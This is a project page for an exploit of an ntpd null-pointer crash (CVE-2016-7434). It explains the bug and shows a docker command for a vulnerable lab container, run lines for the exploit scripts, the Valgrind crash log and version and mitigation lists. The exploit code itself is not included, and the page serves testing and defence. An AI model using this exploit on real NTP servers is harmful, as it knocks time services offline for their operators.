All Projects → opsxcq → exploit-CVE-2016-7434

opsxcq / exploit-CVE-2016-7434

Licence: GPL-3.0 license
NTPD remote DOS exploit and vulnerable container

Programming Languages

c
50402 projects - #5 most used programming language
Makefile
30231 projects
HTML
75241 projects
shell
77523 projects
M4
1887 projects
C++
36643 projects - #6 most used programming language

Projects that are alternatives of or similar to exploit-CVE-2016-7434

OverRide
Binary Exploitation and Reverse-Engineering (from assembly into C)
Stars: ✭ 69 (+200%)
Mutual labels:  exploitation
SubRosa
Basic tool to automate backdooring PE files
Stars: ✭ 48 (+108.7%)
Mutual labels:  exploitation
Python
Python Powered Repository
Stars: ✭ 17 (-26.09%)
Mutual labels:  exploitation
exploits
Some of my public exploits
Stars: ✭ 50 (+117.39%)
Mutual labels:  exploitation
allsafe
Intentionally vulnerable Android application.
Stars: ✭ 135 (+486.96%)
Mutual labels:  vulnerable
BFS2019
Bluefrost Exploitation Challenge 2019 - Exploit and Writeup
Stars: ✭ 20 (-13.04%)
Mutual labels:  exploitation
titanm
This repository contains the tools we used in our research on the Google Titan M chip
Stars: ✭ 149 (+547.83%)
Mutual labels:  exploitation
DrGadget
dr.rer.oec.gadget IDAPython plugin for the Interactive Disassembler <ABANDONED PROJECT>
Stars: ✭ 61 (+165.22%)
Mutual labels:  exploitation
PXXTF
Framework For Exploring kernel vulnerabilities, network vulnerabilities ✨
Stars: ✭ 23 (+0%)
Mutual labels:  exploitation
exploiting
Exploiting challenges in Linux and Windows
Stars: ✭ 122 (+430.43%)
Mutual labels:  exploitation
exploit-CVE-2016-6515
OpenSSH remote DOS exploit and vulnerable container
Stars: ✭ 53 (+130.43%)
Mutual labels:  vulnerable
Jiraffe
One stop place for exploiting Jira instances in your proximity
Stars: ✭ 157 (+582.61%)
Mutual labels:  exploitation
exploit-CVE-2015-3306
ProFTPd 1.3.5 - (mod_copy) Remote Command Execution exploit and vulnerable container
Stars: ✭ 97 (+321.74%)
Mutual labels:  vulnerable-container
kahoot-tools
A website for interacting with kahoot games.
Stars: ✭ 63 (+173.91%)
Mutual labels:  exploitation
linksys-wrt54g
Exploiting Linksys WRT54G using a vulnerability I found.
Stars: ✭ 31 (+34.78%)
Mutual labels:  exploitation
juice-shop
OWASP Juice Shop: Probably the most modern and sophisticated insecure web application
Stars: ✭ 7,533 (+32652.17%)
Mutual labels:  vulnerable
LBFH
About All in one tool for Information Gathering, Vulnerability Scanning and Crawling. A must have tool for all penetration testers
Stars: ✭ 46 (+100%)
Mutual labels:  exploitation
volana
🌒 Shell command obfuscation to avoid detection systems
Stars: ✭ 38 (+65.22%)
Mutual labels:  exploitation
sedoppkit
A knockoff social-engineer toolkit
Stars: ✭ 46 (+100%)
Mutual labels:  exploitation
fastoverflowtk
This Buffer Overflow Toolkit works through FTP, SMTP, POP, HTTP protocols as well file outputs for playlists exploiting customized variables/commands. Payloads can be generated through MSFVENOM or you can use your own ASM files.
Stars: ✭ 16 (-30.43%)
Mutual labels:  exploitation

CVE-2016-7434 ntpd DOS exploit

Docker Pulls

Ntpd suffer from a null pointer reference which is possible to trigger to crash the application. According to NTP.org, "If ntpd is configured to allow mrulist query requests from a server that sends a crafted malicious packet, ntpd will crash on receipt of that crafted malicious mrulist query packet."

The ntpd program is an operating-system daemon that sets and maintains a computer system's system time in synchronization with Internet-standard time servers. It is a complete implementation of the Network Time Protocol (NTP) version 4, but retains compatibility with versions 1, 2, and 3.

The routine that reads the MRU list (read_mru_list) can be found here, and here is the line where the exception occurs

Exploit

Vulnerable Image

If you want a vulnerable system to test this exploit, you can use docker to create it

docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434 

It will start a docker container with a vulnerable ntpd, so you will be able to exploit it.

python

./exploit.py -t <target ip> -p <target port>

bash

./exploit.sh <target ip> <target port>

Exploiting the bug

If you choose to run your exploit against your docker container, after the exploitation it will show the result bellow:

==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==1== Command: /src/ntpd/ntpd -n -c /ntp.conf
==1== 
22 Nov 23:59:27 ntpd[1]: ntpd [email protected] Tue Nov 22 23:28:13 UTC 2016 (1): Starting
22 Nov 23:59:27 ntpd[1]: Command line: /src/ntpd/ntpd -n -c /ntp.conf
22 Nov 23:59:27 ntpd[1]: Cannot set RLIMIT_MEMLOCK: Operation not permitted
22 Nov 23:59:27 ntpd[1]: proto: precision = 4.680 usec (-18)
22 Nov 23:59:27 ntpd[1]: switching logging to file /dev/null
22 Nov 23:59:27 ntpd[1]: Listen and drop on 0 v6wildcard [::]:123
22 Nov 23:59:27 ntpd[1]: Listen and drop on 1 v4wildcard 0.0.0.0:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 2 lo 127.0.0.1:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 3 eth0 172.17.0.2:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 4 lo [::1]:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 5 eth0 [fe80::42:acff:fe11:2%13]:123
22 Nov 23:59:27 ntpd[1]: Listening on routing socket on fd #22 for interface updates
22 Nov 23:59:28 ntpd[1]: start_kern_loop: ntp_loopfilter.c line 1118: ntp_adjtime: Operation not permitted
22 Nov 23:59:28 ntpd[1]: set_freq: ntp_loopfilter.c line 1081: ntp_adjtime: Operation not permitted
==1== Invalid read of size 1
==1==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1==    by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1==    by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1==    by 0x423FC1: receive (ntp_proto.c:659)
==1==    by 0x412D5F: ntpdmain (ntpd.c:1329)
==1==    by 0x4042B8: main (ntpd.c:392)
==1==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1== 
==1== 
==1== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1==  Access not within mapped region at address 0x0
==1==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1==    by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1==    by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1==    by 0x423FC1: receive (ntp_proto.c:659)
==1==    by 0x412D5F: ntpdmain (ntpd.c:1329)
==1==    by 0x4042B8: main (ntpd.c:392)
==1==  If you believe this happened as a result of a stack
==1==  overflow in your program's main thread (unlikely but
==1==  possible), you can try to increase the size of the
==1==  main thread stack using the --main-stacksize= flag.
==1==  The main thread stack size used in this run was 204800.
==1== 
==1== HEAP SUMMARY:
==1==     in use at exit: 31,476 bytes in 149 blocks
==1==   total heap usage: 313 allocs, 164 frees, 310,744 bytes allocated
==1== 
==1== LEAK SUMMARY:
==1==    definitely lost: 0 bytes in 0 blocks
==1==    indirectly lost: 0 bytes in 0 blocks
==1==      possibly lost: 2,000 bytes in 2 blocks
==1==    still reachable: 29,476 bytes in 147 blocks
==1==         suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1== 
==1== For counts of detected and suppressed errors, rerun with: -v
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

valgrind: the 'impossible' happened:
   main(): signal was supposed to be fatal

   host stacktrace:
   ==1==    at 0x380A48EF: show_sched_status_wrk (m_libcassert.c:319)

   sched status:
     running_tid=1

Vulnerable versions

  • 4.3.90
  • 4.3.25
  • 4.3
  • 4.3.93
  • 4.3.92
  • 4.3.77
  • 4.3.70
  • 4.2.8p8
  • 4.2.8p7
  • 4.2.8p6
  • 4.2.8p5
  • 4.2.8p4
  • 4.2.8p3
  • 4.2.8p2
  • 4.2.8p1
  • 4.2.7p22

Not Vulnerable:

  • 4.3.94
  • 4.2.8p9

Mitigation

  • Only allow mrulist query packets from trusted hosts.
  • Implement BCP-38.
  • Upgrade to 4.2.8p9.
  • Properly monitor your ntpd instances, and auto-restart ntpd (without -g) if it stops running.

Disclaimer

This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (opsxcq) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not opsxcq's responsibility.

Credits

Magnus Klaaborg Stubman (@magnusstubman) found this flaw

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].